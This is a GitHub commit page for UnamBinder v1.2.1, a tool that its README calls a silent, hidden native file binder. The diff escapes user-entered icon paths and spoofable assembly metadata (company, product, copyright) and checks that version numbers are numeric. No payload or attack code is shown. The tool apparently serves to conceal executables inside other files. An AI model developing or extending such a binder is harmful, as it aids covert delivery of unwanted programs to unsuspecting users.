Skip to content

Commit 647fca7

Browse files
committed
Updated to v1.2.1
* Changed Icon path and Assembly Data to now literalize escape characters * Added check for Assembly Version to ensure that it contains only numbers
1 parent 2ea7de1 commit 647fca7

File tree

7 files changed

+366
-14
lines changed

7 files changed

+366
-14
lines changed

Diff for: CHANGELOG.md

+3
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,6 @@
1+
### v1.2.1 (18/09/2021)
2+
* Changed Icon path and Assembly Data to now literalize escape characters
3+
* Added check for Assembly Version to ensure that it contains only numbers
14
### v1.2.0 (14/09/2021)
25
* Replaced windres with a custom compiled windres that supports spaces in file paths
36
* Removed Base64 encoding/decoding in favor of using bytes directly, meaning no build file size overhead and much faster decoding

Diff for: README.md

+4-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
<img src="https://github.com/UnamSanctam/UnamBinder/blob/master/UnamBinder.png?raw=true">
33

4-
# UnamBinder 1.2.0 - A free silent native file binder
4+
# UnamBinder 1.2.1 - A free silent native file binder
55

66
A free silent (hidden) open-source native file binder.
77

@@ -24,6 +24,9 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamBinder/wiki) or
2424

2525
## Changelog
2626

27+
### v1.2.1 (18/09/2021)
28+
* Changed Icon path and Assembly Data to now literalize escape characters
29+
* Added check for Assembly Version to ensure that it contains only numbers
2730
### v1.2.0 (14/09/2021)
2831
* Replaced windres with a custom compiled windres that supports spaces in file paths
2932
* Removed Base64 encoding/decoding in favor of using bytes directly, meaning no build file size overhead and much faster decoding

Diff for: UnamBinder/Builder.Designer.cs

+3-3
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Diff for: UnamBinder/Builder.cs

+9-9
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,6 @@ public partial class Builder : Form
1616
public Vanity vanity = new Vanity();
1717
private string key = RandomString(32);
1818

19-
public static int MAX_PATH = 255;
20-
2119
public Builder()
2220
{
2321
InitializeComponent();
@@ -73,11 +71,13 @@ public void NativeCompiler(string savePath)
7371

7472
if (buildResource)
7573
{
74+
if (BuildErrorTest(!string.Join("", new string[] { vanity.txtAssemblyVersion1.Text, vanity.txtAssemblyVersion2.Text, vanity.txtAssemblyVersion3.Text, vanity.txtAssemblyVersion4.Text }).All(char.IsDigit), "Error: Assembly Version must only contain numbers.")) return;
75+
7676
StringBuilder resource = new StringBuilder(Properties.Resources.resource);
7777
string defs = "";
7878
if (vanity.checkIcon.Checked)
7979
{
80-
resource.Replace("#ICON", vanity.txtIconPath.Text);
80+
resource.Replace("#ICON", ToLiteral(vanity.txtIconPath.Text));
8181
defs += " -DDefIcon";
8282
}
8383
if (checkAdmin.Checked)
@@ -87,12 +87,12 @@ public void NativeCompiler(string savePath)
8787
}
8888
if (vanity.checkAssembly.Checked)
8989
{
90-
resource.Replace("#TITLE", vanity.txtAssemblyTitle.Text);
91-
resource.Replace("#DESCRIPTION", vanity.txtAssemblyDescription.Text);
92-
resource.Replace("#COMPANY", vanity.txtAssemblyCompany.Text);
93-
resource.Replace("#PRODUCT", vanity.txtAssemblyProduct.Text);
94-
resource.Replace("#COPYRIGHT", vanity.txtAssemblyCopyright.Text);
95-
resource.Replace("#TRADEMARK", vanity.txtAssemblyTrademark.Text);
90+
resource.Replace("#TITLE", ToLiteral(vanity.txtAssemblyTitle.Text));
91+
resource.Replace("#DESCRIPTION", ToLiteral(vanity.txtAssemblyDescription.Text));
92+
resource.Replace("#COMPANY", ToLiteral(vanity.txtAssemblyCompany.Text));
93+
resource.Replace("#PRODUCT", ToLiteral(vanity.txtAssemblyProduct.Text));
94+
resource.Replace("#COPYRIGHT", ToLiteral(vanity.txtAssemblyCopyright.Text));
95+
resource.Replace("#TRADEMARK", ToLiteral(vanity.txtAssemblyTrademark.Text));
9696
resource.Replace("#VERSION", string.Join(",", new string[] { vanity.txtAssemblyVersion1.Text, vanity.txtAssemblyVersion2.Text, vanity.txtAssemblyVersion3.Text, vanity.txtAssemblyVersion4.Text }));
9797
defs += " -DDefAssembly";
9898
}

Diff for: UnamBinder/File.Designer.cs

+1-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Diff for: UnamBinder/Vanity.Designer.cs

+2
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)